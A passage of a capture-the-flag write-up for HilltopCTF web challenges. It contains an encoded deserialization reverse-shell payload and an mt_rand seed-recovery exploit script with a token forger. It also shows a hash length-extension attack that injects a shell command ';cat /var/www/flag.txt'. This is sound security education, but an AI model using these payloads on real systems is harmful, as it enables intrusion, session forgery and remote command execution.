iwxMTgsOTcsMTE0LDMyLDExNSwxMDQsMzIsNjEsMzIsMTE1LDExMiw5NywxMTksMTEwLDQwLDM5LDQ3LDk4LDEwNSwxMTAsNDcsMTE1LDEwNCwzOSw0NCw5MSw5Myw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExOSwxMTQsMTA1LDExNiwxMDEsNDAsMzQsNjcsMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDEwNSwxMTAsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMTEsMTE3LDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTExLDExMCw0MCwzOSwxMDEsMTIwLDEwNSwxMTYsMzksNDQsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDk5LDExMSwxMDAsMTAxLDQ0LDExNSwxMDUsMTAzLDExMCw5NywxMDgsNDEsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTAxLDExMCwxMDAsNDAsMzQsNjgsMTA1LDExNSw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMTQsMTE0LDExMSwxMTQsMzksNDQsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwMSw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDEyNSwxMCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw1OSwxMCkpfSgpIiwKICAgICJsb2dpbkF0IjogMTU4OTY5NjczMjg4OCwKICAgICJiYWxhbmNlIjogMTAwMCwKICAgICJwb3J0Zm9saW8iOiB7CiAgICAgICAgInN0b2NrIjogewogICAgICAgICAgICAiY29kZSI6ICJITFRQIiwKICAgICAgICAgICAgInByaWNlIjogMjc5LAogICAgICAgICAgICAibGFzdFVwZGF0ZWQiOiAxNTg5Njk1OTAyNDI0CiAgICAgICAgfSwKICAgICAgICAic3RvY2tBbW91bnQiOiAwLAogICAgICAgICJsYXN0UHVyY2hhc2UiOiBudWxsCiAgICB9Cn0=

Then we modified the cookie and perform a Buy/Sell action on the website (since we need to interact with the website for them to read and unserialize our cookie).

308e2e156176bf87a74dee923822befd.png

Our nc should then receive a connection from the server, and we got a reverse shell.

26b70b7c1a719e30a5430a0f16612995.png

The flag can be found in /flag.txt.

71eaec9750f48a9c14cea122c1eff968.png

The Flag

Flag is HilltopCTF{The_mult1millionaire_next_door_$$$}

Tornado - [Web, 100pts]

Description

42c3b9bfe404dd0da097d190907fbc59.png

Solving

Given a website that seems like a file-sharing utility.

e73d30b1969f58f091cd60a4b5c1adaf.png

Judging by the web interface, the goal of this challenge is supposed to open the Flag folder. But if we tried to click on that folder, the web asks for an email address and a MagicHash.

2a8923dabb74671eb19d533dd129e577.png

Notice that there’s also a link to request the MagicHash. Upon clicking the link, we were redirected to http://192.81.210.234:10003/request.php.

7f56ae1c54279544f21992a86ad66f11.png

We need to submit an email address to get the MagicHash. Submitting a random or unrecognized email will make the server responded with an error message, but that also gave us hint about the correct email; admin@tornado.corp.

7e9d8dafd69d7382da5c513e2c09e6de.png

After sending the request with admin@tornado.corp email, the web told us that the MagicHash has been sent to the email.

78f0310f976c7c4d8a0f55d28deedf4d.png

Since we don’t have access to that email, we need to think of other ways to get the MagicHash. More information can be found by examining the leaked source code of the website.

The challenge provided us three source code files: functions.php, include.php, and requests.php.

9763d12dadb18e84d0e8e36bf7319257.png

Below is a detailed examination of what we can find from each file.

Request.php

This file is the source code of the page where we request a MagicHash. From there, we know that there is no email being sent at all. The input was sanitized using mysqli_real_escape_string() function, so it’s unlikely that this challenge is about SQL Injection.

6fe376bd06b58222f9e75d12589139cc.png

Also, a function named generateMagicHashToken() is called. And if the supplied email can be found in the database, both the email and the generated token will be stored in a table named magic_hashes.

67a3337c53799eac13d859f4fb1c5446.png

Functions.php

This file contains some functions that are used to run the website. There are four functions:

  1. throwSeed() In the leaked source code, this function is redacted. We can guess that this function is supposed to generate some value for the random’s seed.
     function throwSeed() {
         // REDACTED. This is some sophisticated algorithm.
     }
    
  2. generateMagicHashToken() This function calls mt_rand() function, which is used to generate random value via the Mersenne Twister Random Number Generator, five times. After that, this function will construct a string token out of those five random values, separated by - token, and finally generates a SHA1 string with value from another mt_rand() call.
     function generateMagicHashToken() {
         for($i=0; $i < 5; $i++) {
             $token[$i] = mt_rand();
         }
         $token = base64_encode(implode("-", $token) . "-" . sha1(mt_rand()));
         return $token;
     }
    

    Simply put, this is the structure of the generated token:

     mt_rand() + "-" + mt_rand() + "-" + mt_rand() + "-" + mt_rand() + "-" + mt_rand() + "-" + sha1(mt_rand())
    
  3. createSession() Judging by the name, this function is used to generate a token for a session or cookie. The website uses a cookie called secure-session, with base64-encoded string as the value.

    95d5de0520d319679cd73fa18e70de62.png

    The decoded value of the cookie would be something like this:

     0dc397a9409687ba6e70f4dfe9f334a9fdbc81f7102912384.757827708d738b098366f3731261a9d6fbea3eb68a3f749ec
    

    And this is the structure of the generated token:

     sha1(<implode of 13 mt_rand() values>) + mt_rand() + "." + mt_rand() + sha1(<implode of 226 mt_rand() values>)
    

    So from the decoded value of the cookie, we would know that:

    1. The 14th mt_rand() call will generate 102912384, since this number appears after 40-characters long of SHA1 string and right before the dot (.)
    2. The 227th mt_rand() call will generate 757827708, since this value appears right after the dot (.) and before the 40-characters long of SHA1 string.
  4. displayMessage() This is a helper function that prints error or success messages. This has nothing to do with the challenge, only for aesthetic reasons.

Include.php

This file confirms our guesses about some functions in functions.php. throwSeed() is used to supply a seed value to mt_srand() value. And secure-session cookie’s value is coming from createSession() function.

de77bbe27ae843e2bb6034dfc919083d.png

This challenge is based on this research from Ambionics Security. The goal is to predict the seed that was supplied to mt_srand() in include.php file, to generate the MagicHash token of our own. It’s a good thing to read and even understand how the attack work; but for the sake of simplicity, I will summarize it.

Here are the steps:

  1. Obtain a value generated by a mt_rand() call, let’s say it’s value x.
  2. Obtain another value generated by the 227th mt_rand() call after the x. Let’s say it’s value y.
  3. Get the scrambled state from these values.
  4. XOR those states and deduce the initial state 228.
  5. Get the seed by working back from s228 to s0, which are

If you are confused, the crystal clear explanation can be found on the link when I refer to the research above, or here. They also provide the POC script of the attack that you can use. To use the script, we simply need two mt_rand() values (the x and y), and also we need to know how many times the mt_rand() has been called before we get the x value. The answer is 14; because the only visible mt_rand() result that we have is the 14th and the 227th (unless you can completely break SHA1).

And for that we implemented a Python script to get the cookie from the website, extract the x and y values, and guess the seed from the two values (adapted from Charles Fol (@cfreal_)’s art of work):

#!/usr/bin/env python3.7

import requests
import base64
import os
# from urllib import unquote # for python2
from urllib.parse import unquote # for python3
from subprocess import Popen, PIPE

"""
Source code adopted from Charles Fol (@cfreal_) (https://www.ambionics.io/blog/php-mt-rand-prediction)
"""

#!/usr/bin/env python3.7
# Charles Fol
# @cfreal_
# 2020-01-04 (originally la long time ago ~ 2010)
# Breaking mt_rand() with two output values and no bruteforce.
#

"""
R = final rand value
S = merged state value
s = original state value
"""

import random
import sys

N = 624
M = 397

MAX = 0xffffffff
MOD = MAX + 1


# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)
STATE_MULT = 1812433253
STATE_MULT_INV = 2520285293

MT_RAND_MT19937 = 1
MT_RAND_PHP = 0


def php_mt_initialize(seed):
    """Creates the initial state array from a seed.
    """
    state = [None] * N
    state[0] = seed & 0xffffffff;
    for i in range(1, N):
        r = state[i-1]
        state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX
    return state


def undo_php_mt_initialize(s, p):
    """From an initial state value `s` at position `p`, find out seed.
    """
    # We have:
    # state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000
    # and:
    # (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse)
    # => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000)
    for i in range(p, 0, -1):
        s = _undo_php_mt_initialize(s, i)
    return s


def _undo_php_mt_initialize(s, i):
    s = (STATE_MULT_INV * (s - i)) & MAX
    return s ^ s >> 30


def php_mt_rand(s1):
    """Converts a merged state value `s1` into a random value, then sent to the
    user.
    """
    s1 ^= (s1 >> 11)
    s1 ^= (s1 <<  7) & 0x9d2c5680
    s1 ^= (s1 << 15) & 0xefc60000
    s1 ^= (s1 >> 18)
    return s1


def undo_php_mt_rand(s1):
    """Retrieves the merged state value from the value sent to the user.
    """
    s1 ^= (s1 >> 18)
    s1 ^= (s1 << 15) & 0xefc60000
    
    s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)
    
    s1 ^= s1 >> 11
    s1 ^= s1 >> 22
    
    return s1

def undo_lshift_xor_mask(v, shift, mask):
    """r s.t. v = r ^ ((r << shift) & mask)
    """
    for i in range(shift, 32, shift):
        v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
    return v

def bits(v, start, size):
    return lobits(v >> start, size)


def lobits(v, b):
    return v & ((1 << b) - 1)


def bit(v, b):
    return v & (1 << b)


def bv(v, b):
    return bit(v, b) >> b


def php_mt_reload(state, flavour):
    s = state
    for i in range(0, N - M):
        s[i] = _twist_php(s[i+M], s[i], s[i+1], flavour)
    for i in range(N - M, N - 1):
        s[i] = _twist_php(s[i+M-N], s[i], s[i+1], flavour)


def _twist_php(m, u, v, flavour):
    """Emulates the `twist` and `twist_php` #defines.
    """
    mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0
    return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask


def undo_php_mt_reload(S000, S227, offset, flavour):
    #define twist_php(m,u,v)  (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU))
    # m S000
    # u S227
    # v S228
    X = S000 ^ S227
    
    # This means the mask was applied, and as such that S227's LSB is 1
    s22X_0 = bv(X, 31)
    # remove mask if present
    if s22X_0:
        X ^= 0x9908b0df

    # Another easy guess
    s227_31 = bv(X, 30)
    # remove bit if present
    if s227_31:
        X ^= 1 << 30

    # We're missing bit 0 and bit 31 here, so we have to try every possibility
    s228_1_30 = (X << 1)
    for s228_0 in range(2):
        for s228_31 in range(2):
            if flavour == MT_RAND_MT19937 and s22X_0 != s228_0:
                continue
            s228 = s228_0 | s228_31 << 31 | s228_1_30

            # Check if the results are consistent with the known bits of s227
            s227 = _undo_php_mt_initialize(s228, 228 + offset)
            if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0:
                continue
            if bv(s227, 31) != s227_31:
                continue
            
            # Check if the guessed seed yields S000 as its first scrambled state
            rand = undo_php_mt_initialize(s228, 228 + offset)
            state = php_mt_initialize(rand)
            php_mt_reload(state, flavour)
            
            if not (S000 == state[offset]):
                continue
            
            return rand
    return None

def solve(_R000, _R227, offset, flavour):
    # Both were >> 1, so the leftmost byte is unknown
    _R000 <<= 1
    _R227 <<= 1
    
    for R000_0 in range(2):
        for R227_0 in range(2):
            R000 = _R000 | R000_0
            R227 = _R227 | R227_0
            S000 = undo_php_mt_rand(R000)
            S227 = undo_php_mt_rand(R227)
            seed = undo_php_mt_reload(S000, S227, offset, flavour)
            if seed:
                return seed

TARGET = "http://192.81.210.234:10003/"

req = requests.Session()

def getSample():
    res = req.get(TARGET)
    cookies = req.cookies.get_dict()
    token = unquote(cookies['secure-session'])
    decoded = base64.b64decode(token).decode()
    key, backup = decoded.split('.')
    shakey, salt = key[:40], key[40:]
    backup_salt, shabackup = backup[:len(backup) - 40], backup[len(backup[:len(backup) - 40]):]
    return (salt, backup_salt)

first, second = getSample()
print(first, second)
guessed_seed = solve(int(first), int(second), 13, 1)
print("Guessed Seed: %s" % guessed_seed) # we guessed the seed!

f89ff2bcba0c9cc394b4551166c8651d.png

After we get the seed, we can recreate the MagicHash of our own. We just need to re-run everything that the web does, given the fact that we have some of the source code. Here’s the PHP script to do that, adapted from the given source code:

#!/usr/bin/env php
<?php

mt_srand((int)$argv[1]); # get seed from argv

function createSession() {
    for($i=0; $i < 13; $i++) $key[$i] = mt_rand();
    $salt = mt_rand(); # 1st printed value
    for($i=0; $i < 226; $i++) $backup[$i] = mt_rand();
    $backup_salt = mt_rand(); #2nd printed value
    $token = base64_encode(sha1(implode("", $key)) . $salt . "." . $backup_salt . sha1(implode("", $backup)));
    return $token;
}

function generateMagicHashToken() {
    for($i=0; $i < 5; $i++) $token[$i] = mt_rand();
    $token = base64_encode(implode("-", $token) . "-" . sha1(mt_rand()));
    return $token;
}
createSession(); # emulate calling mt_rand() to create session.
$token = generateMagicHashToken();
echo $token;

Just remember that the createSession() function is always called first before the web generates the MagicHash token (calling generateMagicHashToken()). If you don’t call the createSession() before generating the MagicHash, the token might be invalid since you’ll lack 242 mt_rand() calls before generating the token.

Here’s my MagicHash token guessed by the PHP script:

cebc341586d140068cf05bb2fc8db53a.png

After that, if you haven’t, request a MagicHash from the web.

3e63e2c22ae630219f5b64e47fe00590.png

And use the guessed MagicHash to unlock the Flag directory.

1541c16e0e2395834b72cec388793a83.png

And there’s the flag.

08f1e57467462fb39e0f75191c892f23.png

But, once again, the value in the comment column is a base64-encoded string. Decode it and you shall get the flag.

92364cfd9ee9233667d0231ce21a3417.png

The Flag

Flag is HilltopCTF{Pl0tTw1st:n0t-so-Rand00m-3h}

What Is The Deadly Bug Here? - [Web, 50pts]

Description

c9fd42053c1860b5e8adc479279ffeef.png

Solving

Given a simple website that looks like this.

0956ba0662dbb4f93d2dcaa8e8f2527a.png

Examining the response of the request, we could found some interesting headers.

662190ad5e6f3fa71a40cf56ef3f4240.png

Sending the ?debug parameter to the website showed us the source code of the challenge.

<?php
error_reporting(0);
ini_set('display_errors', 0);

require_once("secret.php");

function patched($alg, $string, $secret) 
{
    if (is_string($string)) {
        if ($alg === "sha256") {
            return hash($alg, $secret . $string);
        }
        else {
            header('HTTP/1.0 400 Bad Request');
            echo "That algorithm is not supported at the moment.";
            exit;
        }
    }
    else {
        header('HTTP/1.0 400 Bad Request');
        echo "Wouldn't work anymore hahahaha!";
        exit;
    }

}

$alg = "sha256";
$greet = "aboutme.txt";
header("X-MY-GREET: $greet");
header("X-MY-GREET-MAC: " . patched($alg, $greet, $secret));
header("X-SELF-NOTE: '?debug' in case I forgot.");

if (isset($_GET['debug'])) {
    highlight_file( __FILE__ );
}

if (empty($_GET['mac']) || empty($_GET['greet'])) {
    header('HTTP/1.0 400 Bad Request');
    echo "You need to provide 'mac' and 'greet', okay?";
    exit;
}

if (isset($_GET['alg'])) $alg = $_GET['alg'];

if (isset($_GET['greet'])) $greet = $_GET['greet'];

if (isset($_GET['nonce'])) $secret = patched($alg, $_GET['nonce'], $secret);

$mac = patched($alg, $greet, $secret);

// I still need to make sure the string is safe. Should this do?
$greet = filter_var($greet, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH);

if ($mac !== $_GET['mac']) {
    header('HTTP/1.0 403 Forbidden');
    echo "Nah it doesn't match.";
    exit;
}

// This is for testing, gonna make it dangerous since this won't be executed at all :).
echo passthru("cat $greet 2>&1", $err);
// echo $err;

?> You need to provide 'mac' and 'greet', okay?

There is some interesting information that we can get by statically analyzing the source code. Here are them:

  1. $greet variable is supposed to contain a name of a file; and we can control the value as this line of code shows:
     if (isset($_GET['greet'])) $greet = $_GET['greet'];
    
  2. If you get the reference, this challenge is based on this video on Youtube by LiveOverflow. hash_hmac function in that video is more or less the same with patched function in this challenge, but supplying an array into the function would not work anymore because of this line of code:
     if (is_string($string)) {
         ...
     }
    

    Anyway, if you don’t understand what I’m talking about, please watch the video, it’s all there :).

  3. The patched function validates our input and returns a message-digested hash value from the input. The difference between this and the function in that video is: with the intention of patching (or should I say securing) the application, this challenge uses hash function instead of hash_hmac function to generate the hash value. By doing that, the application is potentially vulnerable to Hash Length Extension Attack. We’ll come back to this very soon.
  4. This line of code:
     $greet = filter_var($greet, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH);
    

    basically strips out every special character from the $greet variable.

  5. If the mac we provide ($_GET['mac') is not equals to the generated mac value, the application is terminated. So we need to make sure that both are the same.
  6. Finally, this line of code:
     echo passthru("cat $greet 2>&1", $err);
    

    is how we are gonna get the flag. The $greet variable, which we can control, will be passed into passthru function; which will then be executed as a shell command.

Hash Length Extension Attack is a type of attack where an attacker can use a computed hash (Hash(message1)) and the length of the message (message1) to calculate another hash (Hash(message1*   message2)) for an attacker-controlled message (message2). An application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret. Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data (read more here).

This challenge gives us a hash value and it’s original data by sending the X-MY-GREET and X-MY-GREET-MAC header on the response. Thus, without knowing the secret, we can generate a valid hash for secret + greet.txt + <arbitrary evil data> without knowing the value of the prepended secret. We can use bash command separation to execute arbitrary command after reading the value of greet.txt. Simply put, this would be the payload we want to be passed to the passthru function:

echo greet.txt;cat /var/www/flag.txt 2>&1

The location of the flag can be found on the hint published for this challenge.

There are many tools out there, but for this writeup, this tool from Ron Bowes will help us doing the Length Extension Attack. And here’s how we used them:

hash_extender -d 'aboutme.txt' -s cabb57d8fb9ab6dbccbef600f370108ad331617dc5432fb55d0b4f2b7f5df01c -a ';cat /var/www/flag.txt' -f sha256 -l 25 --out-data-format=html

From the manual: -d is the original string that we’re going to extend -s is the original signature or the hash value of the original string -a is the data that we want to append to the original string -f is the hash algorithm -l is the length of the secret, which is leaked when we visit secret.php page

5fb70b6dbb0ed2b07a53175556086711.png

Then we get our new hash and new message.

New signature: 3686b8643ff253c607ee7c4fdb838cef93caa99c0dc52f6c8ca028d0b257749c
New string: aboutme%2etxt%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01+%3bcat+%2fvar%2fwww%2fflag%2etxt

98365288a99edd441e4e4743df0298b5.png

Don’t worry about the null bytes in the new message, because fortunately the challenge used filter_var and those null bytes will be stripped before being passed into passthru function.

Send the hash and the message to the application like this:

http://192.81.210.234:10002/?mac=3686b8643ff253c607ee7c4fdb838cef93caa99c0dc52f6c8ca028d0b257749c&greet=aboutme%2etxt%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01+%3bcat+%2fvar%2fwww%2fflag%2etxt

And there’s the flag.

44cba8a2af6184dd0fe48900c4f53949.png

The Flag

Flag is HilltopCTF{uh…1think_1mad3_itwors3_s00wy}